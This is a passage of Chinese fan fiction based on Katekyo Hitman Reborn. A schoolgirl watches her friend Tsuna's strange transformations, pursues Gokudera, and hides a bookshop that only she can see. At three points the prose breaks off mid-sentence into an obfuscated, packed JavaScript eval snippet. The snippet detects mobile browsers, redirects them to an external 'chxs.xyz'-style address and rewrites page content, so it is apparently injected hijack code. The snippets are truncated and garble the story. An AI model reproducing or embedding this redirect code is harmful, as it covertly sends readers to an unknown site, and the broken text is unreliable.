但还没等她思考出个结果,就听见熟悉的声音自场内传来,扭头一看,是山本武在场内朝她挥手,旁边是身材娇小的沢田纲吉,看到她看过来也苦着脸抬手招了招。 “……?” 她扭头问笹川京子:“阿纲怎么也上场了?他不一直是替补的替补的替补吗?” “啊,据说是一起吃坏肚子进了医院,所以纲同学就上场了。” “……”她怜悯的看了一眼场内惴惴不安的棕发少年:“真是倒霉。” 比赛开始,场内的沢田纲吉不出所料的发挥了自己的废材本质,一个球也没打出去。 祢祢转而开始寻思等会儿结束请他吃冰淇淋调剂心情……啊,还是先别吃冰淇淋了吧,上次因为这个生病了来着…… 那就蛋糕吧,最近刚好有新品,那天本来想约京子一起去的,但是被现在已经是光头的持田打断了,那就这次带着沢田纲吉尝尝吧。 嘶,也不是不能邀请京子,这样说不定还可以为沢田纲吉的恋爱之路添砖加瓦…… 但就在她胡思乱想之际,场内沢田纲吉突然像上次剑道比试那样倒地不起。 “!!!” 祢祢大惊,下意识向前走了两步,就看见他又像上次那样突然起身,衣衫爆裂,只留一条蓝底星星裤衩,吼叫着,以一种一点也不科学不人性的方式,做出了很多高难度动作,甚至以胯挡球,力挽狂澜赢下了比赛。 她扭头看向四周,但仿佛只有她一个人觉得这事很魔幻,周围人都纷纷赞叹沢田纲吉有集体荣誉,为了反败为胜甚至不惜牺牲男人的尊严。 ……怎么回事?这真的正常吗? 她茫然地眨了眨眼,神色恍惚着向笹川京子告了别:“……我去买瓶水。” 22.游戏 砰—— 弯腰从自动贩卖机里取出水的时候,祢祢突然听到一道爆炸声。 ……什么鬼? 她动作微顿,好奇心起,顺着声音传来方位走,然后发现,这就是往体育馆方向的路,忍不住又加快了脚步。 ……才不是想看热闹,只是顺路而已,顺路。 一面塌陷的墙。 祢祢眨了眨眼,自然地绕过,看清了前方空地上的几道人影。 ——光着身子,满身灰尘狼狈不堪的沢田纲吉。 以及,在他面前土下座的银发少年。 “是我有眼无珠,您才适合当首领!十代目,我会永远追随您的!!” “请尽情吩咐我吧!!” 银发少年抬起头,啊,原来是她的新一见钟情对象啊……嗯??? ……这是怎么回事? 她的一见钟情对象还在叽叽咕咕说着什么“十代目”什么“首领”,眼神热切,语气激动,跟上次碰见时又冷又凶的酷哥人设大相径庭。 ……求求了,别用这种语气说话啊,再这样下去她的少女心就又要破灭了!! 她的一见钟情对象狱寺隼人终于停下了叙述,小婴儿Reborn突然出现,又说些什么“家族规矩”“收为手下”…… 祢祢茫然的向前走了两步,扯了扯一旁山本武的衣摆:“……阿武,这是在干什么呀?” 山本武眨了眨眼:“是在玩游戏吧?就像我们之前玩过的一样,角色扮演,阿纲当首领、我们当手下什么的。” ……真的吗? 她看了看狱寺隼人,又看了看很高兴(?)的沢田纲吉,最后是一脸饶有兴味的山本武,没怎么犹豫就走过去拍了拍沢田纲吉的肩:“阿纲,你怎么回事啊,玩游戏都不带我。” “……” 他露出了不知道该怎么说的、尴尬又惊异的表情。 祢祢也顿了顿,不是因为他古怪复杂的表情——沢田纲吉平日里的颜艺已经够多了,她都已经习惯了。 而是…… 她手下捏了捏,视线也跟着移过去,看见他光裸的身躯,肩膀因为被她捏了一下轻微抖了抖。 祢祢:“……” 她面色古怪:“阿纲你……又不穿衣服啊……” 沢田纲吉顿时红透了脸,像是被踩了尾巴的猫般跳开,摆着手想要否认,却又不知道该怎么说,手足无措的模样看着很是可怜。 “不许对十代目无礼!!!” 一旁的狱寺隼人比他更像被踩了尾巴的猫,身手矫健地猛然蹿起,冲到她面前隔开二人,表情凶恶地朝她呲牙。 像小猫。 祢祢在心里评价。 明明刚刚还像小狗来着。 祢祢感到有些遗憾,因为比起猫,她其实更喜欢狗。 “你还是跪着的时候比较漂亮……” 她下意识道。 “……??!” 他倏然瞪圆了一双好看的眼,茫然又不敢置信的模样,看着很是可爱。 半晌,反应过来的狱寺隼人立刻炸了毛,愤怒的掏出了……那个是爆竹吗? 不对,他什么时候拿出来的,怎么没看清动作? 话说他为什么突然掏爆竹?还露出了那样的神情……虽然还是很可爱就是了…… 她不着边际地想。 “……” 啊,不过,好像是她说错话了。 她反应过来。 不过他刚刚确实还蛮可爱的,那个高度很不错,是一抬手就能摸到头的距离。 但狱寺隼人显然不觉得她那句话是在夸奖自己可爱,他看上去像是被人羞辱了似的,恨不得上来把她给撕了。 用什么撕?他的小爆竹吗?真是可爱。 离得有些近,祢祢嗅到他身上的味道,神色恍惚了下,张口就来:“你身上好香,是用了香水吗?给个链接呗。” “……” 爆竹居然还自动点燃了,好神奇,是魔术吗? 真是多才多艺啊,不亏是我见崎祢祢看上的男人!! “啊啊啊狱寺君手下留情啊!!祢祢这个人就是这样,她没有恶意的!!请不要跟她计较啊!!” 一旁沢田纲吉怪叫着冲上来拉人,场面一度十分混乱。 …… “阿纲,你这几天已经弄坏好几身校服了吧?” 回家的路上,祢祢突然记起这件事,扭头狐疑的望向沢田纲吉。 “啊、呃,是的……” “而且一脱衣服就会变得很厉害……难道衣服是压制你真实实力的封印吗?” “……你是又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752154|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩了什么设定奇怪的游戏吗?” 沢田纲吉无语半月眼。 “那倒没有……” 祢祢倒退着走路,速度很慢,目光在他身上上下巡视的速度也不快,很漫不经心的样子:“但看过类似设定的搞笑番——所以,阿纲你是搞笑番男主吗?” 沢田纲吉:“……你是想说我惹人发笑么。” 祢祢思索片刻开口:“这还真没有。说实话,你一开始那样还有点吓到我了——这个是你的人设吗?不可更改?” “……请不要把现实说得像是漫画游戏一样啊!!” “——还挺变态的。” 她依旧自顾自说着,末了又补了一句:“我是说这个设定,放在现实里还真有点恶心。” “……” 看这沉默的沢田纲吉,祢祢赶忙再次补充:“没有说你,我是不会嫌弃自己的朋友的——就算你是出于个人爱好裸奔……” 她顿了顿,艰难道:“我也……不会嫌弃你的……” “……那可真是谢谢你啊!!” “没事,毕竟我们是朋友。” “……” 沉默中,她转回身,改成和沢田纲吉并肩走,半晌又开口,可怜巴巴的问:“真的、不能改吗?” 他无奈:“这个不是我自己可以决定的啊……”要问Reborn啊! 但祢祢却像是误会了什么,露出了十分纠结的神情,但没两秒又释然了般:“没关系,我不介意,没关系、没关系……” 她一连说了好几遍‘没关系’,像是在说服自己一般。 沢田纲吉:“……” 说服自己什么?‘就是朋友是变态也没关系’吗?! “话说回来……” 祢祢看向他:“你和阿武他们是在玩角色扮演游戏吗?怎么不带我?” “那个不是……” “——还首领跟左右手,没想到阿纲你也有一颗想当领袖的心啊!” 她摇摇头,脸上写着“人不可貌相”,然后沉吟:“那我就当世界第一杀手好了——这个听上去很酷。” 她说着转过身摆了个pose,压着嗓子冷酷道:“今天就是你的死期了,沢田阿纲!” “……” 快把这个认为别人是中二病的中二病拖走!! 23.新策略 见崎祢祢觉得自己的生活变得越来越奇怪了,甚至已经脱离了‘日常’的范围。 ——挚友随时爆衣裸奔头顶冒火正常吗? 小婴儿一秒换装、宠物还会变形正常吗? 一见钟情对象一见到姐姐就捂着肚子昏死正常吗? 奶牛装小孩随时从头发里掏出疑似炸.弹和火箭筒的东西正常吗? 每周四放学路上随机刷新诡异书屋、还只有自己能看到正常吗? …… 不知不觉间,祢祢的生活已经被各种非日常事件占领,但那些事虽然和她以前的平凡生活大相径庭,却似乎并没有给她的日常生活带来什么改变,反而增添了许多乐趣,有了这些乐趣,那些微不足道的小麻烦便是可以被忽略的。 当下,祢祢面临的问题是,如何追求自己的一见钟情对象,狱寺君。 * 狱寺隼人好像不太喜欢她。 即便为了拉近距离,加入了很无聊的过家家游戏,他们的关系似乎也并没有因此拉进。 每次祢祢盯着他看的时候,狱寺隼人都会敏锐的看过来,但还没等她感到惊慌,他就恶狠狠瞪她一眼,率先转回脑袋。 “……” 这样的反应,反而叫祢祢有了底气,更叫明目张胆的盯他。 反正如果他讨厌她的话,一定不会察觉到自己喜欢他的吧? 祢祢偶尔会有些怀疑自己是不是有什么特殊的怪癖,怎么被人瞪一眼还觉得挺开心的?思来想去,最终总结出两个原因—— 一是因为狱寺君实在是太可爱了,即使知道他那样是在表达厌恶,也还是升不却不满与难过的情绪。 二是被挚友纲吉给传染了。 虽然很不想承认,但不得不承认的是,沢田纲吉这种经常性裸奔行为真的还挺变态的,而且这种变态行径已经越来越频繁了,上至上课迟到、比赛要输,下至祢祢家政课要送给狱寺隼人的蛋糕和一些日常小事,都可以成为他突然死了般倒地不起,然后又喊着“复活——!!”起来,爆衣冒火再转换第二人格的契机。 一开始祢祢还会觉得那些行为古怪又魔幻,但周围人好像都觉得这没什么,她想了想,觉得好像还真没什么。 跟山本武说的一样,还真就像个黑手党过家家游戏,虽然大家都疑似拿着危险武器,但也没人死掉或者受重伤……说不定那些枪啊炸.弹什么的都是玩具。 ……可就算那些道具是假的,那沢田纲吉的爆衣又是怎么回事? 对此,祢祢百思不得其解,然后在某周四放学路上再次碰到那家书屋时决定不再思考——世界上稀奇古怪的事多了去了,前有池袋被恶灵附身的男高和无头骑士,现在又是这个每周四刷新的奇怪书屋,沢田纲吉爆衣后切换第二人格好像也很正常? 算了,现在的生活都变成这个鬼样子了,管它正常不正常呢,无所谓了。 虽然这么想着、也觉得这么做没什么问题,但祢祢还是对那些古怪的事很好奇。 于是,某周四放学,祢祢一边和朋友谈笑风生一边引着他们在并盛乱转。 根据这两次考察,她需要在街上待至少半个小时,那个古怪的书屋才会出现。 就在她带着一行人在并盛转了一圈,被沢田纲吉犹豫着瞟了好几眼,狱寺隼人大声发表了好几句“浪费十代目时间”的发言又被一旁的山本武打着哈哈掠过去后,在太阳濒死之际,祢祢终于见到了熟悉的木牌。 真见到了,反而又不敢过去了。 她隔了一段距离停下,犹豫着看了眼跟在自己身后的几人,抿了抿唇,试探:“我记得,这附近好像有家旧书屋?” “你转那么久就是为了找家书屋?” 狱寺隼人还是不高兴的样子:“明明刚才路过了好几家你都没进去——再说,这种偏僻的地方哪里会有书屋?” 确实,这里是居民区,旁边那栋房子看上去无人居住 她顿了顿,扯着沢田纲吉又向前走了几步,身后,山本武和狱寺隼人很自然的跟上来。 她抬头看着书屋推拉玻璃门里已经亮起的灯——是暖橘色,和陈朴的装潢气质很是相配,有种童话般温馨又浪漫的感觉。 她喉咙发紧:“我记得那家书屋就在这儿的啊……” “可这里什么都没有啊,祢祢是记错了吧?” “记错了吗……?” 她语气轻飘飘的,像是随时会散在风里。 “……祢祢?” 沢田纲吉听上去有些不安,犹豫着反握住她的手:“……你身上好凉,忘记带外套了吗?” “嗯……”她慢吞吞点了点头。 “那……回家?” “……好。” 祢祢被牵引着往回走,山本武很贴心的将自己的外套披到了她身上——天知道他为什么穿了两件,不嫌热吗? 在找书屋这件事花费了很多的时间,但幸好今天的作业不是很多,在沢田家解决完晚饭后,祢祢谢绝了Reborn提出的叫沢田纲吉送自己回家的建议,一个人出了门。 然后,一个拐角,她又看见了熟悉的木质门牌。 祢祢:“……” 等她从里面买了本书出来后,就看见沢田纲吉轻微喘着气跑向自己。 “祢祢!”他喊。 “怎么了?”祢祢将书往背后藏了藏,“不是说不用来送吗?” “还是说……” 她向前一步逼近他:“阿纲不想和我分开吗?……真是黏人啊。” “不不不——不是!” 他的脸一下子红透,赶忙摆手:“是你外套忘拿了,妈妈叫我给你送过来……” 她视线下移,果然看到他臂弯里挂着的黑色外套。 “谁的?”她问。 她分明记得自己今天没有穿外套。 “你上次落下的。”他说。 祢祢想了想,了然:“可已经是半个月以前的事了吧?” 他点头:“对,从橱柜上滑进夹缝了,前几天刚发现。” “……” 祢祢没说话,但露出了很嫌弃的表情,向后退了两步。 “……洗过了。” “谢谢。” 她这才伸手接过,凑到鼻端嗅了嗅,果然闻到了熟悉的洗衣液的味道——不是她常用的那款,而是沢田家的常用款,但因为和沢田母子待在一起的时间长了,自然也就熟悉了。 她感叹:“真是好男人啊,阿纲。” “……?” 沢田纲吉愣了愣,然后脸爆红:“不是我洗的!!” “?我也没说是你洗的啊?” “那你、那你……” “是谢谢你给我送外套啦。” 她说,伸开胳膊将外套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757108|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿上,甩了甩袖子:“走了。” “啊、嗯……话说、真的不需要我送吗?” “会被吉娃娃追得到处跑的国中生没资格说这个。” “……可你不是怕黑吗?” “笨蛋——有手电啦!回去吧,晚安。” “还没到睡觉时间呢……”他嘀咕,“晚安。” 祢祢走了几步,听见身后依旧安静,回头,看见沢田纲吉依旧站在哪儿,街灯将他的影子拉得很长。 她顿了顿,又小跑着返了回去。 “怎么了?”沢田纲吉疑惑道。 祢祢抿了抿唇,扯着他向旁边走了两步:“你有没有看见这里有什么?” 她指的是书屋的方向,暖色灯还亮着,透过层层书架,隐约可以看见那个古怪的店主,对方依旧保持着原来姿势,和上次、上上次、上上上次……全都一模一样。 沢田纲吉顺着她手指的方向看过去,茫然又恍惚:“是墙啊……” 他们离得很近,祢祢能观察到,他的眼睛在直面玻璃门透出的灯光时没有丝毫变化。 就好像那里真的什么都没有一样。 没有书屋,也没有灯光。 她垂下眼,沢田纲吉恍惚以为有暖色的阳光照在她的睫毛上。 ……怎么可能,夜晚怎么可能有太阳。 祢祢松了握着他手腕的力道,轻声:“回去吧。” ** 新买的书出版日期在两年后,是一本校园恋爱喜剧。 女主是经典的校园小透明,男主是意大利转学生,眼睛也是绿色的,跟狱寺隼人有些像,祢祢买这本书就是因为这双眼睛,特别漂亮。 不过男主的性格跟他却截然相反,是个甜言蜜语张口就来的风流浪子。不知为何缠上了女主,言语挑逗好不轻佻,直到女主受不了阴阳怪气回怼了他,学的是男主常用的轻佻遣词,然后女主就眼睁睁看着他闹了个大红脸。 哦豁,经典的高攻低防,还挺萌。 话说是不是应该转变一下追求狱寺隼人的方案,每次她多看他一样都要被他恼怒地瞪回去,凶得很。 而且他跟云雀恭弥的性格差得不是一星半点,她不能用追求云雀恭弥的方法去追求他。 再说,她其实也不知道自己追求云雀恭弥的那套办法是不是正确的,毕竟也没成功——甚至算得上失败,好感度都没有路人高。 而且,据说外国人都很开放,说不定他喜欢大胆一点的追求方式。 最主要的原因是祢祢觉得那种默默无闻的方式是肯定追不到他的。他对黑手党游戏特别认真,自从被沢田纲吉打败收为手下后,狱寺隼人就成了忠实的十代目拥护者,敌视每个靠近他的人,包括但不限于她和山本武。 虽然有人陪着会好受点,但被喜欢的人讨厌什么的,还是不要了。 所以,她得更努力点才行。 于是,第二天,她从见崎贤太郎的花圃里剪了一大束红玫瑰,用牛皮报纸包装、黑绸带捆绑,黑的红的绿的,看着特别华丽、特别浪漫。 祢祢很满意。 她就这么拦住了狱寺隼人。 “狱寺君今天真是光彩照人啊!” 她将背后根本藏不住的大捧红玫瑰送到他面前,学着那本小说里男主角,深情款款:“我从来没有见过像你这样性感甜美的小可爱——请和我约会吧!” 24.雨 “……” 目瞪口呆——是身后的沢田纲吉。颜色都被吓掉了的感觉。 狱寺隼人好像很生气,白皙的面孔被怒气烧得微红,很是凶恶地盯着她,恼羞成怒地低吼:“你这家伙、在搞什么啊!” 被喜欢的人凶了,祢祢觉得自己应该难过,但不知道为什么,她就是难过不起来。 ……难道是她没有自己想的那么喜欢狱寺隼人吗? 祢祢直勾勾盯着他看,直到他因没能等到回答而威胁般取出爆竹,她才确信自己绝对是喜欢他的。 他翠绿的眼睛,闪亮的银发,漂亮的脸蛋,她都很喜欢。 于是,她诚恳地说道:“即使是生气的狱寺君也很甜美呢,简直是棉花糖捏成的小猫咪,香甜又可口——” 狱寺隼人恼怒地点燃了爆竹,又被一旁回过神来的沢田纲吉尖叫着拦住。 祢祢被他张牙舞爪的爪子逼退了两步,无奈地看了他一眼:“被夸可爱就叫你这么难为情吗?没关系、不要害羞,我们隼人就是小猫咪一样卡哇伊的男孩子呢——” “谁允许你喊我名字的!!——十代目!请放开我,我要给这个胆敢挑衅彭格列的蠢女人一个教训——!!” “我哪有挑衅彭格列?我明明是在向隼人你发出约会申请——” “不许喊我名字!!!” “狱寺君你冷静啊!祢祢她肯定不是故意的!!!”沢田纲吉失声尖叫,一边竭力阻拦要比他高上许多的狱寺隼人,一边祈求地拼命朝她使眼色,似乎生怕狱寺隼人的爆竹会伤到她。 爆竹是炸不死人的吧?也只是声响大而已,虚张声势的东西——用它做武器的狱寺君真的像是张牙舞爪的可爱小猫呢! “蠢女人!你在说什么胡话!!我一定要杀掉你!!炸裂吧!!” 诶,说出来了吗? 沢田纲吉:“说出来了啊!真的说出来了啊!请不要再说这种话了!!” 看着他快要哭出来一般可怜兮兮的神色,祢祢终于不情不愿地松了口。反正恋爱这种事还是要从长计议的,现在起个头就好了。虽然这个头似乎并不太好,但没关系,她会加倍努力的。 “啊,是阿纲说的那样每次——我只是想把花送给隼人、啊,狱寺君,而已。”她敷衍地顺着沢田纲吉的意思开口说。 狱寺隼人这才收起了爆竹——这爆竹不行啊,说了那么长时间的话,引火线虽然炸着火花,但进度却一动不动。是假货吧? 祢祢立刻脑补了一出清纯少男被坏心老板言语哄骗冲动消费的场景,感到很是怜爱——没想到狱寺君分明能轻松考满分,却还是会被坏心大人哄骗呢。 “……喂!别用这种恶心的眼神看着我!!” “哦——那,狱寺君,请收下我的花吧!” “不要!” “……” 最后,那捧红玫瑰被拆开分给了她的朋友们——笹川京子,山本武,沢田纲吉,还有突然出现的Reborn。 最后,狱寺隼人也拿了点,因为这是他最敬爱的十代目的命令(沢田纲吉:什么命令啊!明明只是看祢祢不高兴试探着提了建议而已!)。 *** “我的爱,被分成了好多份——” 祢祢用咏叹调夸张地说道,末了还做作的揩了揩眼角。 “……我以为‘恋爱军师’这个活动已经中止了。” “恋爱从未中止!”她义正言辞:“爱存在、爱存在于每一个瞬间!每一个瞬间,人类都有可能邂逅爱!” “……”他表情略微扭曲,一副有口无槽的模样,然后试探:“所以你对狱寺……?” “对!” 她郑重点头。 “我已经爱上他了!” “……这么快?”他喃喃,“明明前段时间还在喜欢云雀……” “那已经是以前的事了。” 他抿了抿唇:“……一见钟情?” “一见钟情!” “……你找我干什么,我又帮不了你。” “怎么帮不到?”她很是诚恳地说道:“隼人他什么都听阿纲你的,你叫他别讨厌我不就行了。” “……私下里就叫隼人了么。” “如果当面叫的话他会拿爆竹丢我,而阿纲你又总是一幅提心吊胆的样子——唉,真是胆小,简直像是只容易受惊的小兔子呢。” 沢田纲吉:“……先不说兔子不兔子的问题。那个根本不是爆竹啊!是真的炸弹!炸弹啊!!” 祢祢:“可它已经炸过很多次了,也没见炸死人——炸弹是这么没杀伤力的武器吗?它不是能一下子炸烂一栋楼吗?” “……为什么你说没死人的时候看起来好像很失望啊!!” “哎呀!你就说帮不帮我嘛!” “……话题转得好生硬。” “阿纲——” “这种事怎么可能办到的啦!”沢田纲吉苦恼道,“喜欢、讨厌这些事哪里是一句话就决定的啊!” 祢祢终于消停了,恹恹地垂着脑袋,看得沢田纲吉有些不忍,犹豫着思考要怎么安慰她。但很快,她又猛然抬头,很是坚定地说:“虽然喜欢和讨厌都是不讲道理的,但我是不会放弃的!” “……” “……随便你好了。”他郁闷道。 *** 确认那个古怪的书屋只有自己一个人能看到之后,祢祢就没打算让自己的朋友们跟它接触了。 为引起读者阅读兴趣,大多数小说都是从某件与主角日常生活相悖的非日常事件开场,以作悬念,顺便引出后面剧情,展开故事。 如果是这样的话,祢祢的故事应该要从在池袋买到未来的书、或者打架丢自动贩卖机的男子高中生开始?不,或许要从云雀恭弥开始。毕竟,在哪之前,她也没有见过能一拐把人抽飞的中学生。 反正,无论如何,祢祢的现在生活是绝对跟平凡沾不上边了。 不平凡的‘非日常’具体是因为什么事而起的头已经无从说起,等意识到的时候就变成这样了。她本人,还有她的朋友们,都已经浸在有着诡异的欢快氛围的‘日常’中了。 在这种氛围中,祢祢身上的异常也便当没什么值得在意的了,更何况,那个书屋真的就是一个平平无奇的、卖书和文具日用品的店铺而已。 除去里面卖的书一多半来自未来、相机像乙女游戏道具,还只有她自己一个人能看到外,它的确是个很普通的书店。 祢祢其实有些好奇如果自己当着别人的面进到这个在他们眼里不存在的书屋里是什么样子,是会直接消失吗?还是站在墙角发呆?那她第一次进去的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779921|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候花了那么长时间难道没人觉得不对劲吗? 但最终还是没有对这些猜想进行验证——会被人操心的。 虽然祢祢并不讨厌被关心,但过度的关怀也会叫人感到厌烦。 而且有些人总是大惊小怪,沢田纲吉连爆竹都一惊一乍,明明他自己觉醒了超能力都不带这么夸张的,要是被他知道了书屋的事一定又会被吓到。那家伙最擅长用兔子一样的无辜神情撒娇了。 又是一个周四。 这天祢祢没有和沢田纲吉他们待在一块,一个人在并盛街头晃悠,并知道自己可能在某个拐角就发现那家只有自己能看见的书屋。 并盛并不大,但道路也是七折八折的,叫她这么不计方向的一通转悠下来,也有点辨不清方位。 祢祢看着周围略显眼熟的场景,开始思考着几条道那道是回家的路。 她就只在街边站了一小会儿,天居然就下起了小雨。错觉般的微凉打在脸颊上,她的思绪被打断,迟疑着抬手,手心朝上,静静停了两秒,感受到点点凉意打在裸露的皮肤上。 祢祢愣了愣,没想到雨来得这么突然,而且短短几息,还有要越来越大的趋势,于是默默朝后退了两步,退到了身后商铺的屋檐下。 她盯着檐外来得匆匆的雨,正以肉眼可见的速度越下越大,转眼就成了哗啦哗啦的倾盆大雨。 祢祢于是又后退了两步,后背的衣料几乎要蹭上墙,生怕打在水泥路上雨水飞溅到自己身上。 望着在几分钟内就完全转阴的天色,耳边是哗哗的雨声,祢祢一时觉得这种宁静又孤寂的气氛好得很,也懒得另去找家咖啡店或者甜品店之类的打发时间,干脆就这么盯着雨幕和水泥路上溅起的烟花出神。 现在已经是初秋时节了,等彻底入了秋,雨就不会下得那么频繁了,天气也不会如此多变。 ……这么想想还真是有点可惜呢。 祢祢还是蛮喜欢雨的。 雨的声音很好听,是一种频率固定的歌,总给人湿润又平静的感觉。雨天,植物被蒙上一层清透的水,带着轻微的流动感。叶片上的灰尘被洗去,颜色要比平常更深更纯粹……一想到等入了冬就要等到明年春天才能再次看见这样的场景,就叫人感到有些不舍呢。 就在祢祢陷入个人世界,胡思乱想之际,一阵踏着水的、急匆匆的脚步声打断了她的思绪。 ——有人来了。 祢祢并不介意和其他人分享屋檐,毕竟这四周好像也只有这家店铺的房檐站得下人。 她抬头望过去,想要看看是那个倒霉蛋在大雨滂沱中寻找避所,她完全不介意把这片屋檐与其共享,拯救对方于水深火热之中。 一个被淋湿的人影闯进了她的视野。 少年的银发被打湿,蔫哒哒垂着,发尾滴滴答答往下滴着雨水。雨水洇进肩头的衬衫衣料,已经完全湿透的白衬衫紧紧贴敷着他的身体,透出内里白皙的肤色和清瘦的身躯,隐约看见其上附着的、流畅而柔韧的肌肉轮廓。 他跑到屋檐下,下意识般甩了甩头发,发丝上的雨水小范围地溅开,祢祢感到自己的手背似乎因此沾上了些微凉的湿意。 他甩完头发,又抬手粗暴地扒拉了一下,濡湿的发被揭到脑后,露出他沾了水的、同样湿漉漉的眉眼。 ——是狱寺隼人。 25.外套 “狱寺君……?” 祢祢盯着他被淋得苍白脆弱的锁骨,竭力想让视线从上面移开。 他的肌肤同样被水浸透,湿得恰恰好,并没有起皱,而是在灰蒙蒙的天色下泛着一种润而透亮的奇异光泽。像是表面被打磨得光滑、苍白的大理石。 “……怎么了?” 狱寺隼人闻言看向她,嗓音也像是被雨淋了般湿润而清凉。 他湿漉漉的头发被抹到脑后,完整的露出了被雨淋过后愈发精致好看的眉眼。尤其一双眼,跟路旁洇湿的梧桐叶有些相像,水洗过似的清晰又美丽。 ……湿漉漉的狱寺君,比平常还要漂亮呢。 简直叫人移不开眼。 但这样一直盯着别人的脸和胸看实在是太过失礼。祢祢艰难的移动眼珠,迫使自己不要再像变态一样注视他裸露的肌肤,却发觉自己除了面前的狱寺隼人好像没什么可以看的,如果特地盯着不相干的东西发呆反而显得刻意。于是,她的视线挑挑捡捡,最终定格在他钟乳石般向下滴着水的苍白指尖。 狱寺隼人的身上总是有各种金属饰品,撞上去又凉又硬,不太好受,但确实很好看,那些冷硬的金属制品跟他很是相配,很酷。 他的手指很漂亮,指骨修长,指节匀称,感觉很适合弹钢琴的样子。指节上带着几个金属戒指,同样沾了水,湿漉漉的。雨水起了润滑作用,于是那指环顺着手指垂落的角度向下滑,要掉不掉的,很勾人。 祢祢语气飘忽:“狱寺君……湿透了呢。” “……你在说什么废话。” “冷吗?” “……” 像是觉得跟她没什么好说的,狱寺隼人面色不虞地瞪她一眼,然后自顾自整理自己。他低头卷起滴水的衬衫衣用力摆拧干,雨水顿时哗哗打湿了底下一片干燥的地面,要掉不掉的指环也被重新推回指根。 他抬起头,脸色还是不太好——这很正常,任谁被淋成这样都不会脸色太好的。然后在看见祢祢直勾勾盯着自己刚被卷起又放下的衣摆后更难看了。 狱寺隼人下意识想要捂住自己的身体,然后又意识到那种姿态肯定不大好看,于是干脆背过身,只留一片被打湿后紧贴着清瘦脊背的衬衫给她看。 祢祢看见他的耳朵好像又被气红了。 她很想说服自己对方是因为被异性看见了身体而感到害羞,但狱寺隼人那恼怒的声音打破了她的幻想:“别盯着我!” 按照往常,他应该要变魔术一样取出爆竹了。 ……可他的爆竹到底藏在哪里呢?明明已经湿成这样了,湿透的衣衫将他的身形清晰的勾勒,似乎并没有可以藏东西的空隙。 “我有点冷。”祢祢答非所问。 “……关我什么事?”他停顿了一下,不怎么高兴的样子:“我又没有多余的衣服给你。” “我有。” “……?” 狱寺隼人迟疑着扭头,看见少女将背包放在地上,正弯腰拉开背包拉链,解释道:“我出门的时候一般都会带外套的,尤其是下午,回家的时间会晚些的时候——着凉了会感冒。” “……不是所有人都跟你一样脆弱。” “我也不是什么脆弱的家伙呢,狱寺君。” 她反驳说,从背包里拽出一件浅粉色的外套。随着被抽出的外套,另外两样东西也跟着掉了出来。 ——是雨伞和书。 “……” 狱寺隼人盯着那把折叠雨伞和旁边文库本封面上银发绿眼的女主角,陷入沉默。 “……一定是美佐纪塞的吧,她一向很体贴。”祢祢干巴巴的说。 “这本书……” 狱寺隼人却皱眉看向一旁的书。 祢祢:“!!!” “啊!呃……这本是最近新出的恋爱轻小说,女主角很漂亮对吧哈哈哈……” 她学着山本武打哈哈。 “她为什么长了触手?她是外星人?”狱寺隼人认真问道。 “……嗯?嗯!她是外星人!”祢祢用力点头。 她其实不知道这个长着章鱼触手的女主角是不是外星人,她只是特别喜欢她的头发和眼睛——很像狱寺隼人。 他狐疑:“恋爱小说?外星人也要谈恋爱?” “呃……市场上的小说都是这样的——别说外星人,在恋爱小说里,就算是幽灵、妖精和神明也要谈恋爱的。” “乱七八糟——你的脑袋就是看这些东西看坏的吧!” “……明明上次考试只比狱寺君你低了一分而已。”祢祢委屈。 “成绩不能代表一切——十代目就算平均成绩只有17.5也是智勇双全有勇有谋!!……” “……” 祢祢转移话题:“狱寺君冷吗?我可以把外套借给你的,感觉狱寺君比我更需要它呢。” 喋喋不休的银发少年倏地停住,看了看她手上的粉色外套又看了看她很是诚恳的神色,突然猛地后退了两步,卡在房檐边缘,再退一步就要重新回到雨里:“不需要!” 祢祢顿了顿,看见他还在缓缓向下滴着水的银灰发尾,顿时不悦的皱起了眉头,严肃道:“狱寺君,请不要胡闹。” “……别用这种语气对我说话!” 他表现得像只炸毛的小猫,但不太可能,因为他现在浑身都试探了。湿透的小猫可是没办法炸毛的。 “这样你会生病的。”她说,上前两步逼近他,停顿了下又补充说:“放心,这件衣服是刚洗过的,我还没来得及穿。” ……谁在乎你有没有穿过! 他想要退后,但他所在的地界已经是这片屋檐能遮盖的最边缘了,再向后退他就会淋到雨,于是只好被迫停下,在心里催眠自己被那家伙的东西碰一下又不会死掉。他只是不想淋雨,而且确实也有点冷。 但看到他欲后退动作的祢祢却停下了。 她像是在面对一只容易应激的小动物那样缓缓后退,声音放软,安抚般道:“实在不想要的话就不要吧,没关系……但请不要冲动,淋雨真的会生病的。” 她补充说:“生病很难受。” 她这种态度叫狱寺隼人感到很不自在。 ……还不如强硬些的好。 